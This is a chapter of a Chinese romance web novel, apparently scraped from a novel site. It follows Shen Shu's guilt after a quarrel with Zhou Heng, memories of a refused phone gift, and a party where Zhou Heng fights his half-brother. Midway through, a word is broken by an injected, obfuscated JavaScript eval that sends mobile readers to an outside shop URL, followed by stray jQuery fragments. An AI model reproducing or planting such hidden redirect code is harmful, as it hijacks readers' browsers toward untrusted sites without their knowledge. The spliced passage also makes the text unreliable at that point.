文趣网 > 其他小说 > 求她[破镜重圆] > 15. 第 15 章
    自卑。

    这是最不衬周珩的词。

    沈疏下意识地垂眼,不再看周珩的眼睛。

    心里一阵冷一阵热,像是刚从大海走出,又靠近篝火,周身都是潮气。

    一滴汗,滑落在她的颈间。

    不知道是她太久没跟人起过争吵,身体对高涨的情绪感到陌生,还是……

    出于愧疚。

    沈疏从未想到,她也会令周珩露出这样的眼神。

    像那些曾伤害他的人一样。

    可是,周珩的自作主张却是侵犯到她的个人生活,她的反击合乎逻辑。

    她没有错,他受了委屈。

    又或者是,他没有错,她受了委屈。

    明明已经分手了,为什么一碰面,他们又回到这样的局面?

    沈疏感到心累,抬眼去看周珩,想要止战。

    原本乌黑发亮的眼睛,此时失去所有光彩,眼里的自傲和自卑在自相矛盾,沉到底部,目光变得更加黑沉。

    与刚才相比,周珩的眼神里还多一丝受伤。

    彷佛,沈疏刚才故意不去看他的举动,伤害了他。

    一时间,所有情绪都从沈疏的脑里抽离了,只剩下一种简单的情感。

    哀。

    哀她自己。

    也哀他们。

    自卑和受伤。

    这样的眼神,沈疏曾在周珩身上看到过,曾以为不会再看到。

    高中整整三年,沈疏都没有手机,需要与家里联系的话就去老师办公室借电话。

    因为这样,她有了绝对平静的学习时光。

    因为,周珩无法联系她。

    高考结束的那一刻,无论考得如何,大多数人都能获得喘息。

    走廊里,都是欢呼声,去哪里玩的讨论声。

    沈疏穿过热闹的人群,当同学问起她暑假的安排时,她的第一个念头竟是——

    周珩。

    从小,她的生活如空白的五线谱般简洁明了,唯由周珩这个特别的音符穿插其中。

    沈疏记得很清楚,在高一的暑假里,当她说起自己没有手机时,周珩一脸“你在耍我”的表情。

    确认她真的没有手机,无法和他加好友后,周珩又暗自有了主意。

    第二天,沈疏背着书包出现在书房里时,周珩拿出一部新手机给她,就像随手从果盘里拿了颗葡萄给她一样。

    “这部手机给你,你看看喜不喜欢,不喜欢我再拿别的型号给你。”

    周珩说话的语气,就像是“这颗葡萄给你,你尝尝喜不喜欢,不喜欢我再拿颗提子给你。”

    经过一段时间的相处,沈疏已经了解到周珩不按常理出牌的性格,但还是无法习惯。

    最终,她拒绝了。

    虽然过程不容易。

    “你是不喜欢这手机的颜色吗?为什么不要?”

    “我妈妈说高考后会给我买手机,我现在不需要。”

    “你不要,平时怎么跟我发消息?”

    “为什么要发消息?”

    “我和班里玩的好平时都会给对方发消息啊。”

    “我平时不玩,要学习。”

    “……”

    “沈疏,看在你陪我学习的份上,我送你一部手机。”

    “我都说不用手机了。”

    “是我想送你的。”

    “你送,我就得收吗?”

    “……”

    “沈疏,你为什么就是不愿意收下手机?”

    “太贵重了。”

    “那我换部便宜的?”

    “你平时都有请我吃甜品水果饮料什么的,已经足够了。”

    “那些怎么能跟这个比。”

    “是比不了了,所以我才不能要。”

    “……”

    “你不要就不要吧,那等你高考后有手机了,记得联系我,这是我的手机号。”

    “好。”

    “到时候都两年后了,你该不会忘记我吧?”

    “不会。”

    非但没有忘记他,还是第一时间想起他。

    沈疏和同学一边聊着与学习无关的话题,一边走回寝室收拾东西。

    但是,她不打算主动联系周珩。

    虽然沈疏对阶级的概念了解还不是很透彻,但是她很清楚,家境差别过大的人很难一直是朋友。

    比方说,班里住在市内的几位同学说好了明天要约在一家大饭店聚餐,她考虑到公交难等,还有费用等问题,没有答应。

    周珩的身边不缺朋友,很可能,他早就忘记他们那段短暂的友谊,投身到有趣的新鲜事中了。

    沈疏既不期待,也不失望,顺其自然。

    她把堆在客厅的书收拾好,把笔记给了就读高二的邻居,把一些旧书卖掉,只留了部分做纪念。

    晚上,妹妹写作业时,她会过去看看有没有需要她讲解的,没有的话,她就去客厅,帮正在看电视的奶奶捶捶背。

    过了两天,沈疏收到妈妈寄来的手机,立刻去办了卡,给妈妈打电话。

    和妈妈拉着家常,聊着对成绩的把握,沈疏兴奋不已。

    “沈疏,你要不要来找妈妈?”

    “好啊!我现在长大了,可以一个人坐车过去了!”

    “那我给你买票,你坐车要小心啊。”

    “我到哪都会跟你说的,妈妈放心。”

    “对了,少爷……就是周珩他昨天跟我说,他这个周末要在家里办个聚会,庆祝高考结束,想邀请你参加。你们这么久没联系了,如果你不想参加,我就去拒绝。”

    “我想去,我会去的。”

    两年没见,沈疏也好奇周珩会变成怎样。

    如果周珩的少爷脾气过盛,她就不跟他继续打交道就好。

    如果周珩还像以前把她当朋友,那她就跟周珩加上好友,没事就在网上聊聊天。

    到了聚会那天,沈疏穿了妈妈新买的淡绿色连衣裙,显得落落大方。

    想到聚会上肯定会有周珩的其他朋友在,沈疏又想起小时候在被周珩的朋友瞧不起的场面,对着镜子把头发梳了又梳。

    这样的话,她看起来应该跟别人区别不大吧。

    本就百花齐放的花园,此时张灯结彩,与黄昏的夕阳光相映成趣。

    室内,水晶灯高悬,明亮的大厅内尽是华丽的装饰。

    沈疏见过很多次了也还是不习惯,只能将这些与自己的现实相去甚远的景色当作是一幅画。

    她走进这幅画里,寻不到主人公的身影。

    大厅里都是风华正茂的少年们,每个人都穿着正式,学着大人的模样,或举着高脚杯聊天,或围在钢琴边较量琴艺。

    两侧铺着白布的餐桌上有琳琅满目的美食,中央是地砖有着细闪的舞池,拐角堆满了礼物盒,上面的logo都是电视上的广告常驻。

    有女生和沈疏擦肩而过,她闻到一股好闻的味道,扭头看去,对方身上闪亮的装饰晃了她的眼睛。

    有人发现落单的沈疏,就过来打招呼,问她是哪一班,怎么之前没见过。

    沈

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514694|203143||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    疏用要去上厕所的借口挡住话题,离开大厅。

    她来错地方了。

    他们班曾上传了一些聚会的照片,不外乎大家围在餐桌旁聊天吃喝,或者一起去看电影,唱歌。

    沈疏知道周珩就读的学校和她所在的公立高中会有所区别,但是亲眼见到他的同学们,还是惊叹同个世界里人与人的区别巨大。

    不,她和周珩本来就不是同个世界的。

    不知不觉中,她走到光线暧昧不明的花园里。

    欢笑声都留在室内,花园就显得冷清了。

    不远处,惊现两个人影。

    其中一人是周珩,另一人是沈疏未见过的,是跟他们年纪相仿的少年。

    沈疏下意识地躲起,也说不清自己为什么要躲。

    可能是因为两人的气氛很微妙。

    周珩总是一副自信的样子,就算吊儿郎当的时候也是心高气傲的,这会他全然一副盛气凌人的气势。

    与他相对的人,虽然长相和周珩不同,但眉眼间的气势跟周珩如出一辙。

    兄弟?

    这时候,沈疏才意识到在高一的暑假里,她几乎每天都来周珩家,却从未见过周珩的任何家人,也没听周珩提起过。

    “啪!”

    突然有巴掌声响起,沈疏心一惊。

    她想要离开现场时,听到两人的吼声。

    “我不是小时候了,不会傻乎乎地以为你们是我的家人,跟在你们屁股后面讨好你们!”周珩的怒气极盛。

    对方骂了一句脏话,才说:“你竟敢对我动手!要不是因为我爸的话,我们也不会和你同桌吃饭,有娘生没娘教的玩意!要不是我妈当年忙着公司的事,根本就不会放任你被生下来,小三……”

    对方的话突然断掉,周珩也没有回话,紧接着沈疏就听到有人倒地的声音。

    沈疏探出脑袋,看到两人已经扭打在一起。

    周珩的拳头狠厉,伴随着一声声控诉——

    “我从小被你们洗脑,以为你们是我的家人,你们却拐着弯地欺辱我!真当我好欺负是吧?!”

    “要不是我初三的时候发现不对,查出真相,还陪你们玩着那恶心的兄弟相亲游戏!都是你们对不起我,欠我的!”

    “我也是我爸的儿子!这里是我家!你没资格跟我在这里狗叫?!”

    对方眼看打不过周珩,使出全身力气推开周珩,一边跑还一边放狠话,“我要跟我妈告状!她早晚会弄死你这个私生子!”

    “私生子”?

    沈疏愣在原地,想要逃离已经来不及了。

    周珩起身的瞬间,看见了她。

    周珩将拳头上的血随意地蹭在衣服上,一双无法透进光的眼睛如夜般黑沉,注视着她。

    沈疏的呼吸有一瞬骤停。

    尔后才发现,周珩根本没有在看她,只是单纯地失焦。

    他转身,离开了原地。

    沈疏心生不安,没有多想就跟上去。

    她跟在周珩的身后,周珩却丝毫没有发现她的存在,一直往前去。

    周珩的个子比她两年前见到的还要高了,此时他孑然的身影在风中显得单薄。

    偶然间,风吹起他的刘海,露出眼睛。

    沈疏只是一瞥,惊得心颤。

    自卑,受伤。

    那双曾明亮张扬的眼睛,此时却写满这两个陌生的词语。

    刹时间,周珩的身子像突然被抽去所有气力般,整个人往下栽倒。

    他的下方,是一个深不见底的池塘。